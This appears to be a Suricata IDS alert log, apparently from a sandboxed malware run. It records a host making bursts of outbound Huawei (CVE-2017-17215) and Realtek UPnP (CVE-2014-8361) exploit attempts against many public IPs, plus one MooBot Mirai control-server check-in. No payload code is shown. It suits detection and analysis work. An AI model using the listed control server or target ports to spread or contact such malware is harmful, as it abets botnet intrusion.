07/20/24-23:10:41.232384	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38498	37215	192.168.2.15	157.72.216.186
07/20/24-23:10:39.469559	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45784	37215	192.168.2.15	157.238.194.50
07/20/24-23:11:06.662677	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52308	37215	192.168.2.15	41.175.146.33
07/20/24-23:10:39.473748	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40464	37215	192.168.2.15	197.182.32.204
07/20/24-23:10:40.065143	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47514	52869	192.168.2.15	169.249.196.201
07/20/24-23:10:41.232384	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35796	37215	192.168.2.15	157.219.171.239
07/20/24-23:10:39.497131	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54880	37215	192.168.2.15	41.160.200.207
07/20/24-23:10:51.923394	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35708	52869	192.168.2.15	46.169.99.175
07/20/24-23:10:40.644796	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56962	37215	192.168.2.15	157.50.118.84
07/20/24-23:10:47.624070	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52384	52869	192.168.2.15	177.96.215.245
07/20/24-23:10:44.478714	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58220	52869	192.168.2.15	8.190.85.240
07/20/24-23:10:39.437234	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35152	37215	192.168.2.15	41.244.25.122
07/20/24-23:10:51.955739	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51558	52869	192.168.2.15	130.142.173.122
07/20/24-23:10:45.047768	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44224	52869	192.168.2.15	137.150.64.194
07/20/24-23:10:51.915608	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38824	52869	192.168.2.15	134.159.51.161
07/20/24-23:11:06.646712	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53262	37215	192.168.2.15	157.0.200.163
07/20/24-23:10:40.607363	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59396	37215	192.168.2.15	197.58.251.46
07/20/24-23:10:44.234530	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54544	52869	192.168.2.15	57.100.65.212
07/20/24-23:10:42.250387	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55058	37215	192.168.2.15	157.168.3.223
07/20/24-23:10:40.644796	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36006	37215	192.168.2.15	64.161.87.250
07/20/24-23:10:46.817180	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46062	37215	192.168.2.15	41.79.166.87
07/20/24-23:10:41.673540	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34538	37215	192.168.2.15	41.133.193.71
07/20/24-23:10:49.428717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51582	37215	192.168.2.15	41.1.254.127
07/20/24-23:10:41.224086	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51878	37215	192.168.2.15	68.197.157.97
07/20/24-23:10:55.999553	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46812	37215	192.168.2.15	197.34.161.2
07/20/24-23:10:59.021280	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56238	37215	192.168.2.15	157.187.86.221
07/20/24-23:11:03.339788	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43930	37215	192.168.2.15	119.144.252.148
07/20/24-23:10:41.230071	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51626	37215	192.168.2.15	31.175.193.56
07/20/24-23:10:39.430384	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60270	37215	192.168.2.15	41.114.206.140
07/20/24-23:11:06.712307	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59976	37215	192.168.2.15	197.115.128.14
07/20/24-23:10:39.996007	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57284	52869	192.168.2.15	64.61.109.158

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-20T23:10:40.944199+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38834	37215	192.168.2.15	172.191.63.12
2024-07-20T23:10:42.273611+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47842	37215	192.168.2.15	157.111.167.228
2024-07-20T23:10:41.674250+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53106	37215	192.168.2.15	109.223.47.42
2024-07-20T23:10:43.520804+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38748	52869	192.168.2.15	90.4.66.163
2024-07-20T23:10:41.693757+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45120	37215	192.168.2.15	41.55.149.13
2024-07-20T23:10:52.112364+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59166	52869	192.168.2.15	222.252.7.7
2024-07-20T23:10:39.487008+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39482	37215	192.168.2.15	197.30.229.13
2024-07-20T23:10:42.276190+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57540	37215	192.168.2.15	197.174.153.88
2024-07-20T23:10:41.679495+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49732	37215	192.168.2.15	157.91.148.53
2024-07-20T23:10:39.497131+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43856	37215	192.168.2.15	41.109.172.235
2024-07-20T23:10:44.637700+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36958	52869	192.168.2.15	111.75.183.223
2024-07-20T23:10:41.693757+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60384	37215	192.168.2.15	157.15.133.184
2024-07-20T23:10:39.499880+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46082	37215	192.168.2.15	197.146.154.155
2024-07-20T23:10:41.237750+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38648	37215	192.168.2.15	197.216.232.236
2024-07-20T23:10:42.259178+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50632	37215	192.168.2.15	197.126.18.168
2024-07-20T23:10:41.682592+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37194	37215	192.168.2.15	41.129.238.186
2024-07-20T23:10:41.673540+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39852	37215	192.168.2.15	41.0.171.6
2024-07-20T23:10:40.934982+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39404	37215	192.168.2.15	128.242.117.249
2024-07-20T23:10:41.677529+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53678	37215	192.168.2.15	196.4.129.234
2024-07-20T23:10:36.948534+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	50866	2466	192.168.2.15	15.235.203.214
2024-07-20T23:10:40.934007+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40844	37215	192.168.2.15	170.219.73.31
2024-07-20T23:10:42.282535+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33642	37215	192.168.2.15	41.28.182.30
2024-07-20T23:10:40.944484+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36556	37215	192.168.2.15	41.31.78.156
2024-07-20T23:10:40.373501+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39574	52869	192.168.2.15	112.183.31.205
2024-07-20T23:10:41.693757+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34170	37215	192.168.2.15	41.81.78.42
2024-07-20T23:10:41.220491+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36924	37215	192.168.2.15	41.17.147.201
2024-07-20T23:10:41.689073+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56746	37215	192.168.2.15	197.216.192.26
2024-07-20T23:10:41.693872+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55846	37215	192.168.2.15	157.92.61.85
2024-07-20T23:10:48.599248+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56388	52869	192.168.2.15	152.73.4.67
2024-07-20T23:10:39.499338+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34876	37215	192.168.2.15	44.121.163.52
2024-07-20T23:10:48.709947+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40876	52869	192.168.2.15	71.216.86.69
2024-07-20T23:10:41.674250+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44828	37215	192.168.2.15	157.55.63.232
2024-07-20T23:10:39.499880+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50780	37215	192.168.2.15	157.16.29.198
2024-07-20T23:10:39.501147+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47464	37215	192.168.2.15	78.250.115.189
2024-07-20T23:10:56.011930+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32822	37215	192.168.2.15	41.15.230.22
2024-07-20T23:10:39.441039+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37000	37215	192.168.2.15	197.115.200.222
2024-07-20T23:10:41.712950+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51938	37215	192.168.2.15	97.253.204.115
2024-07-20T23:10:41.673540+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44286	37215	192.168.2.15	197.80.174.62
2024-07-20T23:10:39.492274+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56706	37215	192.168.2.15	157.42.101.14
2024-07-20T23:10:40.946478+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48610	37215	192.168.2.15	41.89.36.24
2024-07-20T23:10:39.501147+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34532	37215	192.168.2.15	157.241.6.192
2024-07-20T23:10:41.672972+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46580	37215	192.168.2.15	197.185.91.102
2024-07-20T23:10:40.934363+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50210	37215	192.168.2.15	41.174.190.33
2024-07-20T23:10:43.771877+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52982	37215	192.168.2.15	197.8.92.185
2024-07-20T23:10:40.934982+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33838	37215	192.168.2.15	157.176.210.11
2024-07-20T23:10:41.693872+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53572	37215	192.168.2.15	104.230.225.200
2024-07-20T23:10:39.442646+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59342	37215	192.168.2.15	34.182.233.76
2024-07-20T23:10:42.278984+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42562	37215	192.168.2.15	197.111.99.127
2024-07-20T23:10:41.671756+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49206	37215	192.168.2.15	61.39.146.236
2024-07-20T23:10:40.936245+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35480	37215	192.168.2.15	41.177.116.18
2024-07-20T23:10:41.244364+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55154	37215	192.168.2.15	89.8.95.202
2024-07-20T23:10:41.234520+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40428	37215	192.168.2.15	118.174.41.159
2024-07-20T23:10:40.934363+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45246	37215	192.168.2.15	47.62.169.96
2024-07-20T23:10:41.679495+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50234	37215	192.168.2.15	68.91.193.135
2024-07-20T23:10:52.109146+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41282	52869	192.168.2.15	61.200.31.129
2024-07-20T23:10:39.495983+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44484	37215	192.168.2.15	76.125.10.46
2024-07-20T23:10:39.487008+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35514	37215	192.168.2.15	173.213.209.100
2024-07-20T23:10:39.446335+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47084	37215	192.168.2.15	41.218.65.16
2024-07-20T23:10:40.943560+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43080	37215	192.168.2.15	133.236.123.161
2024-07-20T23:10:42.708635+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41872	52869	192.168.2.15	67.65.153.119
2024-07-20T23:10:41.244364+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44576	37215	192.168.2.15	197.141.80.64
2024-07-20T23:10:40.934363+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52910	37215	192.168.2.15	197.205.160.99
2024-07-20T23:10:42.708635+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35330	52869	192.168.2.15	211.42.169.91
2024-07-20T23:10:39.511132+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45236	37215	192.168.2.15	41.197.53.118
2024-07-20T23:10:41.672505+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51478	37215	192.168.2.15	41.215.250.254
2024-07-20T23:10:40.936246+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41360	37215	192.168.2.15	41.130.45.123
2024-07-20T23:10:40.934982+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44088	37215	192.168.2.15	54.134.33.11
2024-07-20T23:10:42.280429+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48768	37215	192.168.2.15	41.64.175.189
2024-07-20T23:10:39.497211+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59708	37215	192.168.2.15	41.162.253.225
2024-07-20T23:10:39.518032+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51542	37215	192.168.2.15	197.210.73.76
2024-07-20T23:10:41.671757+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38498	37215	192.168.2.15	157.72.216.186
2024-07-20T23:10:40.943560+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46756	37215	192.168.2.15	41.233.79.117
2024-07-20T23:10:41.712950+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52868	37215	192.168.2.15	197.41.11.247
2024-07-20T23:10:52.659749+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59984	37215	192.168.2.15	197.140.167.29
2024-07-20T23:10:40.948142+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42026	37215	192.168.2.15	197.241.179.83
2024-07-20T23:10:39.449685+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55676	37215	192.168.2.15	157.222.177.45
2024-07-20T23:10:44.581154+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45664	52869	192.168.2.15	54.158.102.139
2024-07-20T23:10:39.454006+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54780	37215	192.168.2.15	41.95.41.120
2024-07-20T23:10:39.487008+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41076	37215	192.168.2.15	197.36.183.119
2024-07-20T23:10:48.638182+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33318	52869	192.168.2.15	78.179.192.192
2024-07-20T23:10:39.503369+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47380	37215	192.168.2.15	41.7.140.134
2024-07-20T23:10:41.679495+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35796	37215	192.168.2.15	197.52.14.1
2024-07-20T23:10:42.280429+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60756	37215	192.168.2.15	157.147.176.235
2024-07-20T23:10:42.643890+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46464	52869	192.168.2.15	18.50.207.232
2024-07-20T23:10:39.497131+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43258	37215	192.168.2.15	163.110.119.229
2024-07-20T23:10:39.504391+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45038	37215	192.168.2.15	111.61.149.252
2024-07-20T23:10:40.934499+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36006	37215	192.168.2.15	64.161.87.250
2024-07-20T23:10:56.035499+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40266	37215	192.168.2.15	207.205.38.109
2024-07-20T23:10:40.946478+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52060	37215	192.168.2.15	157.83.157.193
2024-07-20T23:10:42.248098+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47850	37215	192.168.2.15	197.150.107.212
2024-07-20T23:10:44.539375+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54992	52869	192.168.2.15	92.38.222.42
2024-07-20T23:10:39.492375+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43226	37215	192.168.2.15	197.169.40.175
2024-07-20T23:10:39.503369+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55852	37215	192.168.2.15	41.246.170.171
2024-07-20T23:10:40.949089+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52366	37215	192.168.2.15	157.221.114.39
2024-07-20T23:10:40.936245+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35578	37215	192.168.2.15	41.180.153.162
2024-07-20T23:10:40.934982+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46876	37215	192.168.2.15	175.251.123.186
2024-07-20T23:10:41.674250+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37458	37215	192.168.2.15	41.209.146.132
2024-07-20T23:10:40.934249+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48536	37215	192.168.2.15	197.213.153.141
2024-07-20T23:10:52.085784+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35210	52869	192.168.2.15	83.29.88.76
2024-07-20T23:10:41.672505+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55730	37215	192.168.2.15	197.92.173.148
2024-07-20T23:10:52.080493+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50024	52869	192.168.2.15	58.115.50.235
2024-07-20T23:10:39.501147+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43782	37215	192.168.2.15	166.151.137.80
2024-07-20T23:10:39.449685+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48166	37215	192.168.2.15	41.99.38.42
2024-07-20T23:10:42.280294+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40296	37215	192.168.2.15	157.190.168.108
2024-07-20T23:10:39.487008+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49906	37215	192.168.2.15	62.146.200.25
2024-07-20T23:10:40.934499+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52952	37215	192.168.2.15	116.138.138.226
2024-07-20T23:10:39.497211+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47244	37215	192.168.2.15	157.169.76.138
2024-07-20T23:10:40.935071+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40162	37215	192.168.2.15	41.140.181.240
2024-07-20T23:10:41.679495+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38232	37215	192.168.2.15	157.221.156.231
2024-07-20T23:10:39.446335+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59254	37215	192.168.2.15	197.143.76.23
2024-07-20T23:10:39.492375+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38056	37215	192.168.2.15	157.113.132.47
2024-07-20T23:10:39.523737+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54880	37215	192.168.2.15	41.160.200.207
2024-07-20T23:10:41.237255+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34358	37215	192.168.2.15	157.29.143.201
2024-07-20T23:10:42.282973+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33384	37215	192.168.2.15	197.4.99.70
2024-07-20T23:10:42.278984+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33470	37215	192.168.2.15	197.111.82.33
2024-07-20T23:10:42.284900+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59832	37215	192.168.2.15	157.124.152.142
2024-07-20T23:10:41.234520+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57034	37215	192.168.2.15	41.11.55.143
2024-07-20T23:10:39.441039+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45450	37215	192.168.2.15	197.238.161.20
2024-07-20T23:10:40.935071+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49402	37215	192.168.2.15	197.181.244.208
2024-07-20T23:10:39.499880+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54142	37215	192.168.2.15	197.39.42.138
2024-07-20T23:10:39.463408+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43798	37215	192.168.2.15	103.246.101.15
2024-07-20T23:10:44.678595+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40994	52869	192.168.2.15	197.33.21.86
2024-07-20T23:10:40.943561+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56918	37215	192.168.2.15	117.238.162.201
2024-07-20T23:10:39.499880+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35092	37215	192.168.2.15	157.149.230.36
2024-07-20T23:10:40.374807+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48182	52869	192.168.2.15	109.51.3.47
2024-07-20T23:10:40.934983+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45996	37215	192.168.2.15	41.95.14.253
2024-07-20T23:10:39.492274+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56498	37215	192.168.2.15	205.121.31.87
2024-07-20T23:10:40.933928+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54002	37215	192.168.2.15	69.184.161.116
2024-07-20T23:10:40.129702+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43734	52869	192.168.2.15	203.39.100.182
2024-07-20T23:10:41.671756+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35796	37215	192.168.2.15	157.219.171.239
2024-07-20T23:10:39.463407+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51110	37215	192.168.2.15	197.246.166.200
2024-07-20T23:10:40.935071+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40936	37215	192.168.2.15	144.85.64.233
2024-07-20T23:10:42.254986+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57070	37215	192.168.2.15	157.183.11.184
2024-07-20T23:10:41.671757+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50842	37215	192.168.2.15	54.103.253.49
